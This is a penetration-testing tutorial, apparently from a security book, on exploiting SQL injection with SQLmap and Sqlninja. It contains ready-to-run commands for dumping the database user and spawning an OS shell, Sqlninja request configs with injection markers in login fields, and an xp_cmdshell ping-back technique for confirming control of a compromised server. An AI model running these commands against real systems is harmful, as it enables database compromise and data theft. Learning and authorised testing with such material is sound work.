What Is SQL Injection? And How To Use SQL Injection To Hack.

From either the scanning results or from just poking around, you might be able to identify some SQL
injections (SQLi) vulnerabilities. This is great because SQLi vulnerabilities can lead to a full
compromise of the database or of the system itself. Two open source tools that I have found to work
most of the time are SQLmap and Sqlninja. Let’s go through the process from identification to
exploitation.

SQLmap

• SQLmap is one of my favorite tools to use for finding SQL injections, manipulate database queries,and dump databases. It also has additional functionality to get an interactive shell through an injectionand can even spawn Meterpreter or a VNC session back to the attacker.
• In the following examples, I’ll show both a GET parameter and a POST parameter example withSQLmap, since they are the most commonly identified types of SQLi. The reason I show both HTTPmethod attacks is that if you don’t have the request properly configured, it is very likely the attackwill fail.

• Here is a look at the help file for SQLmap, as there are a lot of different switches that can be used forSQLi attacks: sqlmap -h

• GET Parameter Example

   
• In the following examples, we are going to assume that the GET parameter is where the SQLi
  vulnerability is located with the URL. We want to test every parameter and make sure that we are
  sure that the SQLi vulnerability is really a finding. There are a good number of false positives I’ve
  seen with scanner tools, so validation is really the only method of ensuring the findings. Remember
  that if you do not specific a value to test, SQLmap will test every parameter by default.
   
• Finding if an SQL inject is valid (the result will be the banner if valid):
  sqlmap -u “http://site.com/info.php?user=test&pass=test” -b
   
• Retrieving the database username:
  sqlmap -u “http://site.com/info.php?user=test&pass=test”—current-user
   
• Interactive Shell
  sqlmap -u “http://site.com/info.php?user=test&pass=test”—os-shell
   
• Some hints and tricks:
  You might need to define which type of database to attack. If you think an injection is possible but SQLmap is not finding the issue, try to set the —dbms=[database type] flag.
   
• If you need to test an authenticated SQL injection finding, log into the website via a browser and grab the Cookie (you can grab it straight from Burp Suite). Then define the cookie using the —data=[COOKIE] switch.
   
• Stuck? Try the command: sqlmap —wizard
   

• POST Parameter Example

   
• POST examples are going to mimic GET injections, except for how the vulnerable parameter is passed. Instead of being in the URL, the POST parameters are passed in the data section. This is normally seen with username and passwords as the web servers generally log GET parameters and you wouldn’t want the webserver to log passwords. Also, there are size limitations with GET methods and therefore a lot of data will be passed via POST parameters for larger applications.
   
• Finding if an SQL inject is valid (the result will be the banner if valid):
  sqlmap -u “http://site.com/info.php “ —data= “user=test&pass=test” —b
   
• Retrieving the database username:
  sqlmap -u “http://site.com/info.php —data= “user=test&pass=test” —current-user
   
• Interactive Shell
  sqlmap u “http://site.com/info.php —data= “user=test&pass=test”—os-shell
   
• If you are able to gain access to an os-shell, you’ll have full command line access as the database user. In the following example, I was able to find a vulnerable SQLi, gain an os-shell, and run an ipconfig command.

I would spend some time getting used to running different SQLi commands and trying different switches identified in the help file. If SQLmap fails, it might be your configuration, so make sure to
try using the Wizard setup, too.

 Sqlninja 

• Sqlninja is another great SQL injection tool for uploading shells and evading network IDS systems. You might be asking why would I use Sqlninja if I’ve already become comfortable with SQLmap?
  From many years of experience, I’ve seen a large number of tests that identify SQLi with only one tool or the other. This might because how it detects blind SQLi, how they upload binaries, IPS signatures that might detect one tool or the other, or how they handle cookies. There are so many different variables and it’s smart to always double check your work.

• Taking a look at the help file with the -h switch, we can see all the different functionality Sqlninja has.

• The only issue I’ve had with Sqlninja, is that the configuration file is a bit more difficult to set up and I’ve never found great or easy to read documentation. So I’ll give the similar two examples from SQLmap.
   
• In Sqlninja, you need to define the vulnerable variable to inject by using the __SQL2INJECT__command. This is different from SQLmap, where we didn’t’ need to specify which field to test against. Let’s go through a couple of examples as it should make things much more clear. Before we can use Sqlninja, we need to define the SQL configuration file. This will contain all the information about the URL, the type of HTTP method, session cookies, and browser agents.

• Let me show you the easiest way to obtain the information required for Sqlninja. As before, load up the Burp Suite and turn the proxy intercept on the request where the vulnerable field is passed. In the following example, we are going to capture requests sent to/wfLogin.aspx and identify the POST parameter values. This is going to have most of the information required for Sqlninja injections, but slight modifications will need to be made from the Burp Raw request.

•  Let’s take a look at one of the requests from Burp that identified a potential SQLi vulnerability.

• In the next two examples, you’ll see how the most common GET and POST parameters are created. This can be used for any different type of HTTP method, but usually the POST and GET methods will be used.

• Few things to notice from the original Burp request versus how it will be entered in the Sqlninja configuration file are: 
• • The HTTP Method (GET/POST) needs to be modified to include the full URL. Burp is missing the http://site.com in front of/wfLogin.aspx
   
• • You have to define which parameters to fuzz by adding the __SQL2INJECT__string.
   
• • Sometimes for Sqlninja you may need to try the attack by first closing the vulnerable SQL parameter. This can be done with ticks, quotes, or semi-colons.  
   

• GET Parameter Example

• We are going to write the sql_get.conf configuration file to our Kali desktop with two vulnerable parameters. Sqlninja will try to attack both the user and pass fields and try to validate if they are vulnerable. To create/modify the configuration file in a terminal, type:

• gedit ~/Desktop/sql_get.conf

• Enter the following into the configuration file and save it:

 —httprequest_start—
 GET http://site.com/wfLogin.aspx?
user=test’;__SQL2INJECT__&pass=test’;__SQL2INJECT__HTTP/1.0
Host: site.com
User-Agent: Mozilla/5.0 (X11; U; en-US; rv:1.7.13) Gecko/20060418Firefox/1.0.8
Accept: text/xml, application/xml, text/html; q=0.9, text/plain; q=0.8, image/png,*/*
Accept-Language: en-us, en; q=0.7, it;q=0.3
Accept-Charset: ISO-8859-15, utf-8; q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONID=3dkDjb3jasfwefJGd
Connection: close
—httprequest_end—

• POST Parameter Example

  A POST request differs from a GET in the fact that the parameters are passed in the data section instead of being part of the URL. In a terminal we need to create the configuration file and modify the
  
  parameters to inject into. In this example, we will inject into both the username and password:
   
• gedit ~/Desktop/sql_post.conf

• Enter the following into the configuration file and save it:
  —httprequest_start—
  POST http://site.com/wflogin.aspx HTTP/1.0
  Host: site.com
  User-Agent: Mozilla/5.0 (X11; U; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
  Accept: text/xml, application/xml, text/html; q=0.9, text/plain; q=0.8, image/png, */*
  Accept-Language: en-us, en; q=0.7, it;q=0.3
  Accept-Charset: ISO-8859-15, utf-8; q=0.7,*;q=0.7
  Content-Type: application/x-www-form-urlencoded
  Cookie: ASPSESSIONID=3dkDjb3jasfwefJGd
  Connection: close
  username=test’;__SQL2INJECT__&password=test’;__SQL2INJECT__
  —httprequest_end—
   

•  Executing Sqlninja

  Whether you use a GET or POST method attack, to execute your attack will be the same. Now that we created a configuration file, we can use the following command to run Sqlninja:
   
• sqlninja -mt -f sql_get.conf

• The following command says to run Sqlninja using the test mode to see if the injection works with the configuration file we just created. If you are lucky and do find a valid SQL injection, you can start to attack the database. In the following example, we are going to exploit our database, find the version, check to see if we are the “sa” account (who has administrative privileges), and see if we have access to a shell.
  
  
  

• Once we have xp_cmdshell available, we want to test that we have command line access and what types of privileges we have. In the example below we are exploiting the SQLi vulnerability and Testing command line commands.

• During this specific test (image below), it looks like we might be running commands on the server, but we’d need to validate this. The issue though, is after setting up a listener on a server we own on
  the Internet, it doesn’t look like we are seeing any connections from the compromised server outbound. This could be a problem if we wanted to exfiltrate data back to us or download additional malware. Since with the command line console created by Sqlninja doesn’t show the responses from commands, we really need to validate that our commands are successfully executing.

• The best way to check if a command is working is by putting tcp-dump to listen for pings on a server we owned publicly available on the Internet. By running ping commands on a compromised server, we can easily validate if our server is responding to pings. The reason to use pings is because ICMP is generally allowed outbound and is less likely to trigger IDS/IPS signatures. This can be configured with the following command on an external server owned by the attacker: 

• tcpdump -nnvXSs 0 -c2 icmp

• This command will log any pings sent to my server and I’ll be able to validate that the server can talk outbound and that my commands are working. On my compromised SQLi host I execute a simple ping back to my server. If it is successful, tcpdump will see the ICMP request.

• Command line SQLi attacks can be run with the following command:

• sqlninja -f [configuration_file] -m c

• As we can see with the image below, I first tried to run telnet commands back to my server, but that was unsuccessful. I then tried to initiate ping commands back to my server, where tcpdump was listening. In this case, my attack was successful and that proved I could run full commands on this host, but it does not have web access back out.

• In the image below, the top portion is my server logging pings and the bottom image is the victim host that is vulnerable to SQLi. Although the telnet commands seem to fail, the pings are successful.

• If you have gotten this far and you aren’t sure what to do next, you can jump to the Lateral Pass Section to get an idea on next steps. This should give you enough details to help you start testing and practicing on vulnerable frameworks. Of course these are the best scenario options, where the SQLi works without having to configure detailed settings about the database type, blind SQLi type, or other timing type issues.